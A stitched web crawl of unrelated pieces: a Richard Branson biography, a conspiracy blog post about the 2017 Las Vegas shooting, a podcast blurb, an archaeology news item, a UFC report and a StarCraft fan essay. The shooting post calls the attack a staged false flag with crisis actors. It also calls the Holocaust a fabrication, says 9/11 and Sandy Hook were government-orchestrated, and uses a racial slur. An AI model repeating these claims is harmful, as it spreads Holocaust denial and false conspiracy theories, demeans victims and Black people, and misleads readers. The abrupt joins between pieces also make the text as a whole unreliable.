In March 2000, Branson was knighted at Buckingham Palace for "services to entrepreneurship".[6] For his work in retail, music and transport (with interests in land, air, sea and space travel), his taste for adventure, and for his humanitarian work, he has become a prominent global figure.[7][8] In 2007, he was placed in Time magazine's list of the 100 Most Influential People in The World.
In June 2018, Forbes listed Branson's estimated net worth at US$5.1 billion.[3]
Early life [ edit ]
Branson was born in Blackheath, London, the eldest of three children of Eve Branson (née Evette Huntley Flindt; born 1924), a former ballet dancer and air hostess, and Edward James Branson (1918–2011), a barrister.[9][10] He has two younger sisters.[11] His grandfather, the Right Honourable Sir George Arthur Harwin Branson, was a judge of the High Court of Justice and a Privy Councillor.[12] Branson was educated at Scaitcliffe School, a prep school in Surrey, before briefly attending Cliff View House School in Sussex.[13]
His third great-grandfather, John Edward Branson, left England for India in 1793; John Edward's father, Harry Wilkins Branson, later joined him in Madras. On the show Finding Your Roots, Branson was shown to have 3.9% South Asian (Indian) DNA, likely through intermarriage.[10] He attended Stowe School, an independent school in Buckinghamshire until the age of sixteen.[13]
Branson has dyslexia and had poor academic performance; on his last day at school, his headmaster, Robert Drayson, told him he would either end up in prison or become a millionaire.[13] Branson's parents were supportive of his endeavours from an early age.[14] His mother was an entrepreneur; one of her most successful ventures was building and selling wooden tissue boxes and wastepaper bins.[15] In London, he started off squatting between 1967 and 1968.[16]
Early business career [ edit ]
After failed attempts to grow and sell both Christmas trees and budgerigars, Branson launched his first successful business, a magazine named Student, in 1966. The first issue of Student appeared in January 1968, and a year later, Branson's net worth was estimated at £50,000. Branson started his record business from the church where he ran Student magazine. He interviewed several prominent personalities of the late 1960s for the magazine including Mick Jagger and R. D. Laing.[17] Branson advertised popular records in Student, and it was an overnight success.[18] His business sold records for considerably less than the "High Street" outlets, especially the chain W. H. Smith. Branson once said, "There is no point in starting your own business unless you do it out of a sense of frustration." At the time, many products were sold under restrictive marketing agreements that limited discounting, despite efforts in the 1950s and 1960s to limit so-called resale price maintenance.[19]
Branson eventually started a record shop in Oxford Street in London. In 1971, he was questioned in connection with the selling of records that had been declared export stock. The matter was never brought before a court because Branson agreed to repay any unpaid VAT of 33% and a £70,000 fine. His parents re-mortgaged the family home in order to help pay the settlement.[20]
Virgin [ edit ]
1972–1980: Founding of Virgin Records [ edit ]
Earning enough money from his record store, Branson in 1972 launched the record label Virgin Records with Nik Powell. The name "Virgin" was suggested by one of Branson's early employees because they were all new at business.[20] Branson bought a country estate north of Oxford in which he installed a residential recording studio, The Manor Studio.[21] He leased studio time to fledgling artists, including multi-instrumentalist Mike Oldfield, whose debut album Tubular Bells (1973) was the first release for Virgin Records and became a chart-topping best-seller.[22]
Virgin signed such controversial bands as the Sex Pistols, which other companies were reluctant to sign. Virgin Records would go on to sign other artists including the Rolling Stones, Peter Gabriel, XTC, Japan, UB40, Steve Winwood and Paula Abdul, and to become the world's largest independent record label.[23] It also won praise for exposing the public to such obscure avant-garde music as Faust and Can. Virgin Records also introduced Culture Club to the music world.
Branson's net worth was estimated at £5 million by 1979, and a year later, Virgin Records went international.
1981–1987: Package holiday industries and Virgin Atlantic Airways success [ edit ]
Branson's first successful entry into the airline industry was during a trip to Puerto Rico. His flight was cancelled, so he decided to charter his own plane the rest of the way and offer a ride to the rest of the stranded passengers for a small fee in order to cover the cost.[24]
In 1982, Virgin purchased the gay nightclub Heaven. In 1991, in a consortium with David Frost, Branson made an unsuccessful bid for three ITV franchisees under the CPV-TV name. The early 1980s also saw his only attempt as a producer—on the novelty record "Baa, Baa, Black Sheep", by Singing Sheep in association with Doug McLean and Grace McDonald. The recording was a series of sheep baa-ing along to a drum-machine-produced track and reached number 42 in the UK charts in 1982.[25]
Branson formed Virgin Atlantic Airways and Virgin Cargo in 1984. He formed Virgin Holidays in 1985.
1988–2000: Telecoms ventures and worldwide impact [ edit ]
In 1992, to keep his airline company afloat, Branson sold the Virgin label to EMI for £500 million.[26] Branson said that he wept when the sale was completed because the record business had been the very start of the Virgin empire. In 1993, Branson took what many saw as being one of his riskier business exploits by entering into the railway business. Virgin Trains won the franchises for the former Intercity West Coast and Cross-Country sectors of British Rail. He created V2 Records in 1996 in order to re-enter the music business, owning 5% himself.[27] Virgin also acquired European short-haul airline Euro Belgian Airlines and renamed it Virgin Express.
A series of disputes in the early 1990s caused tension between Virgin Atlantic and British Airways, which viewed Virgin as an emerging competitor. Virgin subsequently accused British Airways of poaching its passengers, hacking its computers, and leaking stories to the press that portrayed Virgin negatively. After the so-called campaign of "dirty tricks", British Airways settled the case, giving £500,000 to Branson, a further £110,000 to his airline, and had to pay legal fees of up to £3 million. Branson distributed his compensation (the so-called "BA bonus") among his staff.[28]
Branson launched Virgin Mobile in 1999, and Virgin Blue in Australia (now named Virgin Australia) in 2000.
2001–2007: Entry into space travel and Virgin Media [ edit ]
On 25 September 2004, Branson announced the signing of a deal under which a new space tourism company, Virgin Galactic, will license the technology behind SpaceshipOne—funded by Microsoft co-founder Paul Allen and designed by aeronautical engineer Burt Rutan—to take paying passengers into suborbital space. Virgin Galactic (wholly owned by Virgin Group) plans to make flights available to the public with tickets priced at US$200,000 using the Scaled Composites White Knight Two.[29] The spacecraft, SpaceShipTwo, is manufactured by The Spaceship Company, which was founded by Branson and Rutan and is now solely owned by Virgin Galactic. In 2013, Branson said that he planned to take his two children, 31-year-old Holly and 28-year-old Sam, on a trip to outer space when they ride the SpaceShipTwo rocket plane on its first public flight, then planned for 2014.[30] As part of his promotion of the firm, Branson has added a variation of the Virgin Galactic livery to his personal business jet, the Dassault Falcon 900EX "Galactic Girl" (G-GALX).[31][32]
He was ninth in The Sunday Times Rich List 2006 of the wealthiest people or families in the UK, worth slightly more than £3 billion. Branson wrote in his autobiography of the decision to start an airline.
My interest in life comes from setting myself huge, apparently unachievable challenges and trying to rise above them... from the perspective of wanting to live life to the full, I felt that I had to attempt it.
In 2006, the airline was merged with SN Brussels Airlines forming Brussels Airlines.[33] It also started a national airline based in Nigeria, called Virgin Nigeria, which ceased operations in 2009.[34] Another airline, Virgin America, began flying out of San Francisco International Airport in August 2007.
Branson's next venture with the Virgin group was Virgin Fuels, which was set up to respond to global warming and exploit the recent spike in fuel costs by offering a revolutionary, cheaper fuel for automobiles and, in the near future, aircraft. Branson has stated that he was formerly a global warming sceptic and was influenced in his decision by a breakfast meeting with Al Gore.[35]
On 21 September 2006, Branson pledged to invest the profits of Virgin Atlantic and Virgin Trains in research for environmentally-friendly fuels. The investment is estimated to be worth $3 billion.[36][37]
On 4 July 2006, Branson sold his Virgin Mobile company to UK cable TV, broadband, and telephone company NTL/NTL:Telewest for almost £1 billion. A new company was launched with much fanfare and publicity on 8 February 2007, under the name Virgin Media. The decision to merge his Virgin Media Company with NTL was to integrate both of the companies' compatible parts of commerce. Branson used to own three-quarters of Virgin Mobile, whereas now he owns 15 percent of the new Virgin Media company.[38]
In 2006, Branson formed Virgin Comics and Virgin Animation, an entertainment company focused on creating new stories and characters for a global audience. The company was founded with author Deepak Chopra, filmmaker Shekhar Kapur, and entrepreneurs Sharad Devarajan and Gotham Chopra.[39] Branson also launched the Virgin Health Bank on 1 February 2007, offering parents-to-be the opportunity to store their baby's umbilical cord blood stem cells in private and public stem-cell banks.
In June 2006, a tip-off from Virgin Atlantic led both UK and US competition authorities to investigate price-fixing attempts between Virgin Atlantic and British Airways. In August 2007, British Airways was fined £271 million over the allegations. Virgin Atlantic was given immunity for tipping off the authorities and received no fine—a controversial decision the Office of Fair Trading defended as being in the public interest.[40]
On 9 February 2007, Branson announced the setting up of a new global science and technology prize—The Virgin Earth Challenge—in the belief that history has shown that prizes of this nature encourage technological advancements for the good of mankind. The Virgin Earth Challenge was to award $25 million to the individual or group who are able to demonstrate a commercially viable design that will result in the net removal of anthropogenic, atmospheric greenhouse gases each year for at least ten years without countervailing harmful effects. This removal must have long-term effects and contribute materially to the stability of the Earth's climate. Branson also announced that he would be joined in the adjudication of the prize by a panel of five judges, all world authorities in their respective fields: Al Gore, Sir Crispin Tickell, Tim Flannery, James E. Hansen, and James Lovelock.
In July 2007, Branson purchased his Australian home, Makepeace Island, in Noosa.[41] In August 2007, Branson announced that he bought a 20-percent stake in Malaysia's AirAsia X.[42]
On 13 October 2007, Branson's Virgin Group sought to add Northern Rock to its empire after submitting an offer that would result in Branson personally owning 30% of the company and changing the company's name from Northern Rock to Virgin Money.[43] The Daily Mail ran a campaign against his bid; Vince Cable, financial spokesperson for the Liberal Democrats, suggested in the House of Commons that Branson's criminal conviction for tax evasion might be felt by some as a good enough reason not to trust him with public money.[44]
2008–present: Hotels, healthcare and charitable influence [ edit ]
On 10 January 2008, Branson's Virgin Healthcare announced that it would open a chain of health care clinics that would offer conventional medical care alongside homeopathic and complementary therapies, a development that was welcomed by Ben Bradshaw, the UK's health minister.[45]
Plans where GPs could be paid for referring National Health Service (NHS) patients to private Virgin services were abandoned in June 2008. The BMA warned the plan would "damage clinical objectivity", there would be a financial incentive for GPs to push patients toward the Virgin services at the centre.[46] Plans to take over an NHS Practice in Swindon were abandoned in late September 2008.[47]
Branson in April 2009 at the launch of Virgin America in Orange County, California
In February 2009, Branson's Virgin organisation was reported as bidding to buy the former Honda Formula One team. Branson later stated an interest in Formula One, but claimed that, before the Virgin brand became involved with Honda or any other team, Formula One would have to develop a more economically efficient and environmentally responsible image. At the start of the 2009 Formula One season on 28 March, it was announced that Virgin would be sponsoring the new Brawn GP team,[48] with discussions also under way about introducing a less "dirty" fuel in the medium term.[49] After the end of the season and the subsequent purchase of Brawn GP by Mercedes Benz, Branson invested in an 80% buyout of Manor Grand Prix,[50][51] with the team being renamed Virgin Racing.
In 2010, Virgin Hotels was launched under the Virgin Group. In February 2018, Branson announced the first Virgin hotel would open in Edinburgh.[52]
Branson and Tony Fernandes, owner of Air Asia and Lotus F1 Racing, had a bet for the 2010 F1 season where the losing team's boss should work on the winner's airline during a charity flight dressed as a stewardess. Fernandes escaped as the winner of the bet, as Lotus Racing ended tenth in the championship, while Virgin Racing ended twelfth and last. Branson kept his word after losing the bet, as he served his duty as a stewardess on an Air Asia flight between Perth and Kuala Lumpur on 12 May 2013.[53]
Branson at the Time 100 Gala in May 2010. Known for his informal dress code, this was a rare occasion he didn't wear an open shirt.
In 2010, Branson became patron of the UK's Gordon Bennett 2010 gas balloon race, which has 16 hydrogen balloons flying across Europe.[54]
In April 2012, Virgin Care commenced a five-year contract for provision of a range of health services which had previously been under the aegis of NHS Surrey, the local primary care trust.[55] By March 2015, Virgin Care was in charge of over 230 services nationwide.[56]
In July 2012, Branson announced plans to build an orbital space launch system, designated LauncherOne.[57] Four commercial customers have already contracted for launches and two companies are developing standardised satellite buses optimised to the design of LauncherOne, in expectation of business opportunities created by the new smallsat launcher.[58]
In August 2012, the franchise for the West Coast Main Line, managed by Virgin Rail since 1997, came to an end. The contract was awarded to FirstGroup after a competitive tender process overseen by the Department for Transport. Branson had expressed his concerns about the tender process and questioned the validity of the business plan submitted by FirstGroup. When Virgin Rail lost the contract, Branson said he was convinced the civil servants had "got their maths wrong". In October, after an investigation into the bidding process, the deal was scrapped. The Transport Secretary Patrick McLoughlin announced there were "significant technical flaws" in the process and mistakes had been made by transport staff. Virgin Rail continues to operate the West Coast line.[59]
In September 2014, Branson announced his investment in drone company 3D Robotics stating, "It's amazing to see what a little flying object with a GoPro attached can do. Before they came along the alternative was an expensive helicopter and crew. I'm really excited about the potential 3D Robotics sees in drones. They can do a lot of good in the world, and I hope this affordable technology will give many more people the chance to see our beautiful planet from such a powerful perspective."[60]
In 2014, Branson launched the "Foodpreneur" food and drink-focused start-up competition. Winners were provided with mentorship from Branson, legal support, and brand counseling.[61] The 2014 winners included Proper Beans, Killer Tomato, Sweetpea Pantry and Sweet Virtues. In 2015, the competition expanded to the Virgin StartUp's Foodpreneur Festival. The 2015 winners were given the opportunity to pitch Target Corporation buyers. The 2015 winners included Pip & Nut, Double Dutch Drinks, Harry Bromptons, Cauli Rice and Mallow and Marsh.[62]
In November 2015, Branson announced the addition of Moskito Island to the Virgin Limited Edition portfolio. This resort, The Branson Estate on Moskito Island, offers 11 bedrooms for 22 guests.[63]
In 2017, Virgin Group invested in Hyperloop One, developing a strategic partnership between the two. Branson joined the board of directors,[64] and in December 2017, became its chairman.[65] The announced winner of the 2017 Virgin StartUp's Foodpreneur prize was The Snaffling Pig Co., which won a six-week rental space at Intu Lakeside, the retail center with the highest foot traffic in the UK.[66]
In October 2017, Branson appeared on the Season 9 Premiere of Shark Tank as a guest investor,[67] where he invested in Locker Board,[68] a sustainable line of skateboards invented by 11-year-old, Carson Kropfl.[69] Branson told the young business man that he reminded him of himself.[70] Branson became the richest Shark to have appeared on the show.[71]
In April 2018, Branson announced the acquisition of the Las Vegas based Hard Rock Casino-Hotel with plans to re-brand the property under his Virgin Hotels business.[72]
In May 2018, it was announced that he would become a partner in a private equity fund that will be co-managed by Metric Capital. The fund will seek out consumer goods firms to invest in.[73][74]
In September 2018, Branson took part in his fourth Virgin Strive Challenge, where he and a core team travelled more than 2,000 km from Cagliari in Sardinia to the summit of Mont Blanc entirely under human and sail power. It was a gruelling month-long challenge where they hiked, biked and kayaked across Europe and had a near-miss on Mont Blanc when a rockfall rained down on them as they crossed the perilous Gouter Couloir. They raised more than £1m for Holly and Sam Branson’s charity Big Change, which supports young people.[75]
In February 2019, Branson helped organise an international benefit concert, Venezuela Aid Live, to bring worldwide attention to the humanitarian crisis and raise funds for humanitarian aid. The concert took place on 22 February in Cúcuta, Colombia, on the Venezuelan border.
Failed business ventures [ edit ]
Branson has been involved in a number of failed business ventures, such as Virgin Cola, Virgin Cars, Virgin Publishing, Virgin Clothing and Virgin Brides.[76][77] However, Branson holds an unusually optimistic view of failure. He has written: "I suppose the secret to bouncing back is not only to be unafraid of failures but to use them as motivational and learning tools.... There's nothing wrong with making mistakes as long as you don't make the same ones over and over again."[78]
World record attempts [ edit ]
A 1998 attempt at an around-the-world balloon flight by Branson, Fossett, and Lindstrand ends in the Pacific Ocean on 25 December 1998
Branson made several world record-breaking attempts after 1985, when in the spirit of the Blue Riband he attempted the fastest Atlantic Ocean crossing. His first attempt in the "Virgin Atlantic Challenger" led to the boat capsizing in British waters and a rescue by RAF helicopter, which received wide media coverage. Some newspapers called for Branson to reimburse the government for the rescue cost. In 1986, in his "Virgin Atlantic Challenger II", with sailing expert Daniel McCarthy, he beat the record by two hours.[79] A year later his hot air balloon "Virgin Atlantic Flyer" crossed the Atlantic.[80]
In January 1991, Branson crossed the Pacific from Japan to Arctic Canada, 6,700 miles (10,800 km), in a balloon of 2,600,000 cubic feet (74,000 m3). This broke the record, with a speed of 245 miles per hour (394 km/h).
Between 1995 and 1998, Branson, Per Lindstrand, Vladimir Dzhanibekov, Larry Newman, and Steve Fossett made attempts to circumnavigate the globe by balloon. In late 1998, they made a record-breaking flight from Morocco to Hawaii but were unable to complete a global flight before Bertrand Piccard and Brian Jones in Breitling Orbiter 3 in March 1999.
In March 2004, Branson set a record by travelling from Dover to Calais in a Gibbs Aquada in 1 hour, 40 minutes and 6 seconds, the fastest crossing of the English Channel in an amphibious vehicle. The previous record of six hours was set by two Frenchmen.[81] The cast of Top Gear, Jeremy Clarkson, James May and Richard Hammond, attempted to break this record in an amphibious vehicle which they had constructed and, while successfully crossing the channel, did not break Branson's record. After being intercepted by the Coast Guard and asked what their intentions were, Clarkson remarked "..our intentions are to go across the Channel faster than 'Beardy' Branson!". The Coast Guard wished them 'Good luck and Bon Voyage'.[82]
In September 2008, Branson and his children made an unsuccessful attempt at an eastbound record crossing of the Atlantic Ocean under sail in the 99 feet (30 m) sloop Virgin Money.[83] The boat, also known as Speedboat, is owned by NYYC member Alex Jackson, who was a co-skipper on this passage, with Branson and Mike Sanderson. After two days, four hours, winds of force 7 to 9 (strong gale), and seas of 40 feet (12 m), a'monster wave' destroyed the spinnaker, washed a ten-man life raft overboard and severely ripped the mainsail. She eventually continued to St. George's, Bermuda.[84]
Television, film and print [ edit ]
Branson has guest starred, usually playing himself, on several television shows, including Friends, Baywatch, Birds of a Feather, Only Fools and Horses, The Day Today, a special episode of the comedy Goodness Gracious Me and Tripping Over. Branson made several appearances during the 1990s on the BBC Saturday morning show Live & Kicking, where he was referred to as 'the pickle man' by comedy act Trev and Simon (in reference to Branston Pickle).[85]
Branson also appears in a cameo early in XTC's "Generals and Majors" video. He was also the star of a reality television show on Fox called The Rebel Billionaire: Branson's Quest for the Best (2004), in which sixteen contestants were tested for their entrepreneurship and sense of adventure and only lasted one season.[76]
His high public profile often leaves him open as a figure of satire—the 2000 AD series Zenith features a parody of Branson as a super villain, as the comic's publisher and favoured distributor and the Virgin group were in competition at the time. He is also caricatured in The Simpsons episode "Monty Can't Buy Me Love" as the tycoon Arthur Fortune, as the ballooning megalomaniac Richard Chutney (a pun on Branson, as in Branston Pickle) in Believe Nothing, and voiced himself in "The Princess Guide". The character Grandson Richard 39 in Terry Pratchett's Wings is modelled on Branson.
He has a cameo appearance in several films: Around the World in 80 Days (2004), where he played a hot-air balloon operator, and Superman Returns (2006), where he was credited as a 'Shuttle Engineer' and appeared alongside his son, Sam, with a Virgin Galactic-style commercial suborbital shuttle at the centre of his storyline. He also has a cameo in the James Bond film Casino Royale (2006). Here, he is seen as a passenger going through Miami Airport security check-in and being frisked – several Virgin Atlantic planes appear soon after. British Airways edited out Branson's cameo in their in-flight screening of the movie.[86] He makes a number of brief and disjointed appearances in the documentary Derek and Clive Get the Horn (1979), which follows the exploits of Peter Cook and Dudley Moore recording their final comedy album. Branson and his mother were also featured in the documentary film Lemonade Stories. On the TV series Rove Live in early 2006, Rove McManus and Sir Richard pushed each other into a swimming pool fully clothed live on TV during a "Live at your house" episode.
Branson is a Star Trek fan and named his new spaceship VSS Enterprise in honour of the Star Trek spaceships, and in 2006, reportedly offered actor William Shatner a ride on the inaugural space launch of Virgin Galactic. In an interview in Time magazine, published on 10 August 2009, Shatner claimed that Branson approached him asking how much he would pay for a ride on the spaceship. In response, Shatner asked "how much would you pay me to do it?"
In August 2007, Branson announced on The Colbert Report that he had named a new aircraft Air Colbert. He later doused political satirist and talk show host Stephen Colbert with water from his mug. Branson subsequently took a retaliatory splash from Colbert. The interview quickly ended, with both laughing[87] as shown on the episode aired on Comedy Central on 22 August 2007. The interview was promoted on The Report as the Colbert-Branson Interview Trainwreck. Branson then made a cameo appearance in The Soup, playing an intern working under Joel McHale who had been warned against getting into water fights with Stephen Colbert, and being subsequently fired.
In March 2008, he launched Virgin Mobile in India; during that period, he made a cameo appearance in Bollywood film London Dreams.[88] In July 2010, Branson narrated Australian sailor Jessica Watson's documentary about her solo sailing trip around the world.
In April 2011, Branson appeared on CNN's Mainsail with Kate Winslet.[89] Together they re-enacted a famous scene from the 1997 film Titanic
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them. We will upload to another platform if this one is removed. Also there are people saying the Fox News video below is “proof” that the 4th floor theory is a hoax. They say the flashing blue strobe light in the Fox News video is the muzzle/bullets in the top video. You decide.
Also here are two hours of Las Vegas Police scanner audio during the shooting. The cops clearly say there is a possible second shooter several times on their radios.
—ORIGINAL STORY—
Let’s just cut to the chase: 40,000 people apparently attend this country music festival in Las Vegas, but the only video of this incident is the one being shown ad nauseum in U.S. media? U.S. media are quick to show a picture of the alleged suspect’s female roommate, but not the suspect himself? Why was there a Craigslist ad posted in Las Vegas two weeks ago seeking crisis actors? Obviously the Craigslist post is no longer live, but here is the screenshot.
The world’s most prominent crisis actor company is Crisis Cast. But Crowds on Demand is the one that facilitated the Las Vegas “show.”
What we know for sure is that hundreds of thousands of people are dying of starvation and other effects of Hurricane Maria in Puerto Rico. We know NFL players continue protesting murder with impunity by cops in the USA. These issues have been prominent news lately. What better way to deflect attention and force NFL players to standup and respect a slave anthem, while Americans forget about people dying in Puerto Rico, a U.S. territory?
Donald Trump seems to get credit for creating the term “fake news.” But this phenomenon has been around since World War I. Those willing to step away and free themselves of U.S. mind control know that the “Holocaust” was a complete production to help create the state of Israel. We now know for a fact the Gulf of Tonkin incident that ultimately sent U.S. ground troops into Vietnam was a hoax. Its readily apparent to anyone with control of their own mind and will that 9/11 was a complete orchestration by U.S. government to start perpetual war with Muslims.
U.S. Presidents have the power to kill Americans for agendas. The people of the USA are simply collateral damage for these agendas. George W. Bush killed 3,000 or so Americans via “9/11” to start his war and feed his (and Dick Cheney’s) oil empires. Barack Obama oversaw Sandy Hook, Orlando and other false flags to promote his homosexual and anti-gun agendas. Now Donald Trump needs something/anything to deflect attention from his myriad problems, including Puerto Rico, his hidden tax returns, Russia collusion, etc.
U.S. government is quite good at tugging at the emotions of Americans to control their thought processes. Many Americans want to believe that their genocidal military and cops are heroes, and that their government would never orchestrate something as heinous as 9/11, Sandy Hook, etc. They refuse to even think critically about these false flags and how easily they are manipulated by them.
Not one person is killed on this video where the alleged shooter open fire. There is no blood anywhere.
UPDATE: Youtube has removed all videos of Las Vegas shooting coverage that are not done by mainstream media as of about 9:45 a.m. Pacific. The one embedded below now gives this message when clicked.
The U.S. culture apologists (“patriots”) will scream “conspiracy theorist” at anyone looking at these incidents objectively. REAL mass shootings with shooters with real motives are barely spoken about in media (see Omar Thornton). There is typically an unavoidable day or two of news cycle before real mass shootings that aren’t staged disappear into history.
The New York Times just wrote that editorial entitled “477 Days. 521 Mass Shootings. Zero Acts From Congress.” Granted mass shootings are nowhere near as common as Americans getting killed by cops. They happen basically everyday in the USA, but Americans are fixated, by design, on #SandyHook, #OrlandoPulse, #LasVegasShooting, #SanBernardino, Columbine, 9/11, etc.
Concert in Vegas were apparently warned 45 minutes before the shooting took place that they were “all going to die.” Not sure who this woman is, but listen for yourself.
Interesting information about statement made at concert. 45 mins before shots were fired. #LasVegasShooting pic.twitter.com/OiYQwPw1wC — Carl Bunce (@CarlBunce) October 2, 2017
Trump, like the last two Presidents who have used their false flag and murder privileges to accommodate agendas, should get what he is looking for here. People in Puerto Rico will now die in silence, while NFL players are likely to succumb to the phony pressure and be good little negroes again and stand up for the slave anthem. Trump is petty enough to execute a false flag to make a few millionaire black athletes bow to him.
We’ll update as we learn more. We initially left out the name of the shooter as it frankly doesn’t matter (it has since been added above). He’s just another patsy for U.S. government agendas. But he’s white and in his 60s for those who want to go the race/political route.When Leah Libresco recently became a Catholic her story was featured on CNN. Why? Because up to that point she had been an atheist blogger. Her story was soon being shared on Christian and atheist blogs. She talks to atheist blogger Hemant Mehta (aka The Friendly Atheist) about why the moral argument helped her in the journey and he quizzes her over why she chose Catholicism.
Listener questions are also included.
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Leah's blog post on becoming a Christian http://bit.ly/LVz2SN
Hemant Mehta's blog post on Leah http://bit.ly/MPKH6m
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Join the conversation on Facebook and TwitterStudent Coco James on site. Credit: ANU An unusual and 'confusing' grave site dug up in Romania by a student from The Australian National University (ANU) is helping provide evidence for the first official written history of the Székely people.
Coco James, a Master of Biological Anthropology student with the ANU School of Archaeology and Anthropology, has returned from a field trip in central Romania where she unearthed a grave burial in a Transylvanian cemetery.
Ms James said the team excavated a total of 49 graves at the site dating from the 17th to 19th century, but it was Grave 42, the one she excavated with two other students that proved to be the most unusual.
"He had a lot more items in the grave than any other burial on the site. Coins, brass buttons, ceramic buttons, and a leather liner," Ms James said.
"The skeleton had five enormous coins in its hands, whereas most of the burials had one or maybe two very small coins.
"He was very healthy, he had no indicators of disease. He had some trauma, he was around 27-35 which is quite consistent with a lot of the other skeletons on the site.
"Most likely it was a wealthy individual with good standing in his community."
While the number of items made the grave interesting, it was the alignment of the skeleton that had the team of archaeologists scratching their heads.
"He was buried almost upside down, rolled onto his side and tilting downwards.
"In the end we decided the most likely situation is that during the burial they lost their grip on the coffin and it rolled and fell in upside down, they looked down and said, 'You know what, no one's ever going to know'," she said.
Ms James said the project will have a significant impact on the local Székely people, who live in a small series of Romanian villages but retain a Hungarian culture.
"They were originally located in Hungary and migrated to Transylvania in the 11th or 12th century. They have held onto their heritage and their land in the Székelyföld since then.
"They don't really consider themselves Hungarian or Romanian.
"There are no written histories for the Szekely people of this area, just oral histories. Only now is there a project to develop a written history, so being able to do this work and provide physical evidence is incredibly important.
"It gives the people that are going to write these histories lot of fuel to use."
Ms James' took part in the field trip as part of a project run by ArchaeoTek, an organisation dedicated to providing research opportunities in Romania for archaeology and anthropology students.
Ms James will present her work at the American Association of Physical Anthropologists Conference in April.
Explore further: The 17th-century man who was buried face downTop-ranked contender Yoel Romero will get the next shot at middleweight champion Michael Bisping later this year.
According to UFC president Dana White, Romero has waited long enough and he will get the chance to face Bisping once the champion is healthy enough to return to action.
Bisping just had knee surgery earlier this week to clear up some minor problems, but the defending champion has previously stated that he expected to return to the UFC around May.
Article continues below...
Bisping had previously mentioned possible matchups against Georges St-Pierre, welterweight champion Tyron Woodley or even a second fight against former middleweight king Anderson Silva but it appears none of those fights will happen until after he faces Romero.
“Yoel Romero’s been floating out there a long time waiting for a title shot. Bisping wanted to do that grudge match with Dan Henderson. It was going to be Dan Henderson’s last fight. I’ve always shown Henderson the respect I felt he deserved. He’s a guy who’s fought everybody out there. So we did that fight and he’s got to defend his title now against the No. 1 contender,” White revealed on the latest “UFC Unfiltered” podcast.
“If you look at what Romero did to Chris Weidman, he absolutely deserves the shot.”
Romero has been on a tear since arriving in the UFC from Strikeforce while putting together an undefeated record with eight consecutive wins including a vicious third round knockout over former champ Chris Weidman last November.
Romero also holds wins over Ronaldo “Jacare” Souza as well as former light heavyweight champion Lyoto Machida.
Now the Cuban-born Olympic silver medalist in freestyle wrestling will go for UFC gold when he returns in 2017 to face Bisping with the middleweight title on the line.Hot_Bid Profile Blog Joined October 2003 Braavos 36026 Posts Last Edited: 2010-05-03 21:04:02 #1
Cover image by Xeofreestyler
Heir Apparent
by Hot_Bid
TeamLiquid: Final Edits
“Two there should be;
No more, no less.
One to embody the power,
The other to crave it.”
Zerg is a race of fire. It is easy to kill at inception yet impossible to stop once it gets going. A tiny spark is easily snuffed out, but an inferno can never be. Zerg is a race of force and momentum. It is a snowball tumbling downhill or a freight train picking up speed.
Every versus Zerg matchup exists on a mountain. GGPlay plods dutifully up the economy mountain, and his opponent must prevent or slow him from reaching the top. If GGPlay gets to the peak (somewhere around four gases and hive), he wins, because nobody is stopping him when he comes down the other side. Similarly, KwanRo starts at the top of the aggressiveness mountain, and his opponent’s task is simply to not die before KwanRo reaches the bottom (where his attacks flame out). Every attack from then on is increasingly more survivable.
“You teach him.”
Zerg users are like their race. Their careers can blaze and rage or wither and die all within a year, a season, or a single game. More so than any other race, a Zerg player’s abilities are influenced by their momentum. Fear the confident, win-streaking Zerg player, and be happy to play the opposite. How else does one explain GGPlay’s lone title or July’s entire career?
Therefore, as much as it hurts to say this, it is becoming increasingly evident that Shinhan3 was Savior’s peak. The Maestro we knew and loved may never return. The fan in me will always support Ma Jae Yoon and hold out the hope that the Bonjwa in him has not fully been extinguished. If any player can make a full comeback, he can. But history is not on his side.
It is as if all Zerg players are subconsciously linked. Within a hive mind, it is logical, almost intuitive, that only one champion is supremely successful at any given time. With Savior’s painful fall from Bonjwa, it is inevitable that the Zerg hierarchy sort itself out. Savior’s successor, his heir, will step forward.
“This kid is getting annoying.”
While the Protoss and Terran players practice in a collegiate, camaraderie-like atmosphere, the Zerg players battle in a frenzied horde, each scrambling to sit on the now vacant throne, the seat that Savior occupied for the past two years. It is not a position to be shared, nor is it a comfortable seat. Thus there will never be the Zerg equivalent of Boxer-Oov. Transcendent Zerg pairings cannot be characterized as teacher-student, or even brother-brother as Reach and Ra happily co-exist. The Zerg master-apprentice relationship is merely a bond forged through common skill, knowledge, and circumstance, crossing team boundaries and player friendships. It is an unforgiving, adversarial link between two individuals who know deep down that ultimately, there is only room at the top for one. And amid the crowd of hungry Zerg players learning from Savior’s triumphs and mistakes, Lee Jae Dong stands above them all.
Join the Zerg Bonjwa club! All you need is an OSL title and the first name Jae.
Lee Jae Dong is a Starcraft genius at the age of seventeen. He has the best ZvZ on the planet at an astounding 25-9 (73%), but his play versus Terran draws the most attention. Jaedong’s ZvT produces July-micro, Savior-management, and fourteen game win streaks. In 2007, the difference between his #1 ranked ZvT ELO and the #2 ZvT (Savior) is actually greater than the difference between #2 Savior and the average professional Zerg. Jaedong is so far ahead of his peers in ZvT that there is Jaedong, and then there is everyone else.
In case you were wondering, Savior vs. Iris Daum OSL Quarterfinals happened in June 2007.
Chart by Pop
That is why the Ever2007 OSL Final is so much more important than Daum, which was more about Savior’s fall than GGPlay’s victory. Before this match, I remember thinking that if Stork won, we would just be watching a solid but unspectacular player (sorry ManaBlue) struggle and finally realize his dream. Stork winning would be a feel-good story, but nothing more. As great as his 2007 has been, I just could not see Stork winning multiple titles or dominating for a long period of time.
But if Jaedong won, we would not merely be spectators. We would be witnesses. We would see, with our own eyes, potential become reality. It would be a Zerg coronation and a Bonjwa birthday party.
Even the OSL Intro agrees.
But a Bonjwa has no weak matchups. Jaedong will never attain Savior’s peak status without being dominant versus Protoss. ZvP is the staple matchup for Zerg, the same way PvT is for Protoss and TvZ is for Terran. It should the “easy,” reliable backbone matchup that Zerg players can rely on. To truly surpass Savior, the next great Zerg would have to showcase a ZvP that is at least on par with the Maestro’s.
Weak matchups are only weak relative to something. Stork’s PvZ only looks weak because his other two matchups are so strong. Many fans seem to overlook the fact that Stork forced Savior to a deciding game in GomTV3, and Savior had to use an unorthodox one-hatch lair build to win. Before the Ever2007 OSL Finals, Stork’s PvZ ELO in 2007 was actually second among all Protoss players. In 2007, Stork’s PvZ rating was higher than Free’s, higher than Much’s, and higher than Anytime’s. Stork’s PvZ was improving, or as Stork claimed, it had always been good (just not on TV).
